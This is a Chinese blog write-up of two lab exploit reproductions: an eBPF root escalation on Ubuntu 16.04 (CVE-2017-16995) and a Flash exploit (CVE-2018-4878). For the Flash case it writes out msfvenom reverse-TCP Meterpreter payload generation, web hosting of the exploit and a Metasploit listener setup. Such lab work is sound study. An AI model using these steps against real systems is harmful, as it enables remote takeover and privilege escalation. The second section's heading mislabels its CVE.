一、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。

攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码。

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本:

Linux内核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2.漏洞复现

step1:漏洞复现环境下载

  • 使用账号密码(pinginglab/pinginglab)登录虚拟机

    ,使用 id 查看本地用户组权限:

  • 使用cat /proc/version查看Linux内核版本

  • 使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看)

  • 下载POC代码

使用gcc对upstream44.c进行编译,给予执行权限: 【若没有编译器,使用sudo apt install gcc 下载并安装gcc编译器】

  • 下面编译并且赋予权限
gcc -o test upstream44.c
chmod +x test
ll

  • 可以看到编译成功后的文件:

  • 执行test文件,发生了错误:

  • 经过分析和查阅资料,发现可能是我电脑的内核不对?但是我的内核是在范围内的呀。那我只好换个内核一试了!

  • 查看目前内核版本uname -r

  • 下载自己想要的版本,我下载的是

    :4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic

可以看到内核更换成功啦!

  • 重新利用gcc进行编译,并且查看,没有问题,一切正常~

  • 运行编译的文件,可以看到提权成功!此时用户从“baijiao”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。

二、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

在2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞。

CVE-2018-4878位于Flash的com.adobe.tvsdk包中,是一个UAF漏洞,需要借助强制GC或者刷新页面来触发该漏洞。

2.漏洞复现

  • 实验环境

攻击机:Kali Linux (ip:192.168.145.137)

靶机:Windows 7 (ip:192.168.145.138)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 实验流程

①将网上找的代码CVE-2018-4878-master目录下载下来,并放入Kali Linux桌面,并查询本机ip。

②使用msfvenom生成shell代码

生成代码,其中lhost为kali的ip地址,lport为自定义的端口号msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

查看代码文件 cat shellcode.txt

③进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件,将上面msfvenom生成的代码覆盖掉原来的代码:

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路径改为自己的相应的文件路径,之后保存修改退出:

④Kali Linux进入CVE-2018-4878-master路径,用Python执行CVE-2018-4878-master.py代码

root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py

root@kali:~/Desktop/CVE-2018-4878-master# ls -l

⑤Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)

root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start

root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html

root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

此时,Kali Linux上Web服务启动,并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

⑥Kali Linux开启Shell会话监听

使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali***机的ip地址
msf exploit(handler) > set lhost 192.168.145.137
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 5306
开启监听,等待肉鸡上线
msf exploit(handler) > exploit

⑦Windows7 安装flash插件,并用IE浏览器访问页面

搜索flash最新的28版本 ,安装flash插件 。

使用Win7内置IE 8浏览器访问页面:http://172.16.70.216/index2.html

⑧Kali Linux 上获取meterpreter shell,并进行管理

在实验过程中,最后需要在靶机浏览器打开index2.html ,但总是提示页面无法显示,最后发现是因为自己的攻击机和靶机不在同一网段,一个设置为NET模式,一个为桥接模式,最后把统一设置为NET模式,就攻击成功啦!

可以看到,最终由于Flash存在CVE-2018-4878这个高危漏洞,导致Windows靶机访问含flash的页面时,直接被Kali Linux控制。

做完这个实验,感觉在真实环境下,应该有很多基于此Flash漏洞,结合社会工程学,比如将网页链接放置在诱导邮件中,就可以欺骗欺骗大量用户点击,哇,真的是太可怕了。这也提醒我们平常要非常小心陌生链接要及时打安全补丁要不然一个不小心,就会导致电脑被劫持了。

20155306 白皎 0day漏洞——漏洞的复现的更多相关文章

  1. 20155306 白皎 0day漏洞——漏洞利用原理之GS

    20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...

  2. 20155306 白皎 0day漏洞——漏洞利用原理之DEP

    20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...

  3. 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

    20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...

  4. 20155306 白皎 0day漏洞——基础知识

    20155306 白皎 0day漏洞--(第一篇)基础知识 写在前面: 本次免考实践方向是0day漏洞,以博客的形式记录了我的学习实践过程.第一篇博客主要围绕什么是0day漏洞以及一些以后学习中需要的 ...

  5. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  6. 20155306 白皎 《网络攻防》 EXP8 Web基础

    20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如 ...

  7. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  8. 20155306 白皎 《网络攻防》 EXP7 网络欺诈技术防范

    20155306 白皎 <网络攻防> EXP7 网络欺诈技术防范 问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 局域网内的攻击以及连接公众场所的共享wifi (2)在日常 ...

  9. 20155306 白皎 《网络攻防》 Exp2 后门原理与实践

    20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...

随机推荐

  1. 在JavaScript文件中用jQuery方法实现日期时间选择功能

    JavaScript Document $(document).ready(function(e) { 在文本框里面显示当前日期 var date = new Date(); var nian = d ...

  2. php用smarty来做简易留言系统,明细步骤简单操作

    留言信息是之前用php做过的一个例子,现在把它用smarty模板来做 大概是这样子 点击发布信息 然后填写内容,发送后会返回表格,写的内容都会出现在表格里 数据库的数据是这样的: 先建两个文件.php ...

  3. TreeView失去焦点时亮显选中状态

    Windows Form下设置属性即可. TreeView.HideSelection = false

  4. MAYA逼真手枪制作视频教程 中文字幕

    下载地址 更多中文字幕教程请关注微镜映画网,有各类CG教程提供

  5. MySQL优化之Explain命令解读,optimizer_trace

    简述: explain为mysql提供语句的执行计划信息.可以应用在select.delete.insert.update和place语句上.explain的执行计划,只是作为语句执行过程的一个参考, ...

  6. 转:SQL中 patindex函数的用法

    语法格式:PATINDEX ( '%pattern%' , expression ) 返回pattern字符串在表达式expression里第一次出现的位置,起始值从1开始算. pattern字符串在 ...

  7. USB AUDIO Device CLASS Requests

    写在前面 本文翻译自 USB Device Class Definition for Audio Devices 1998年版.主要是鄙人个人使用,所以只挑对我有用的翻译.有些我认为不是很重要的可能就 ...

  8. cdn刷新和对应的浏览器现象

    1.浏览器手动点刷新,会发起网络请求,从cdn判断last-modify时间是否一致,未过期则返回304,如果已经过期则返回200,重新请求 关键在于发起的网络请求中'If-Modified-Sinc ...

  9. C语言short int

    因为C语言中short int占2个字节,有16个二进制位,共可表示2^16种状态.因为它用来表示有符号数,而0也要占用一个状态.所以,16位的原码可以表示的数是-32767~+32767,它的0可以 ...

  10. Linux 基本概念 & 命令

    0. Linux 理解 Linux 是一种操作系统,主要应用于服务器. Linux 性能稳定,其中的许多版本不收费(如CentOS),占用资源较少. 1. 命令行的状态 在 Linux 命令行下以上分 ...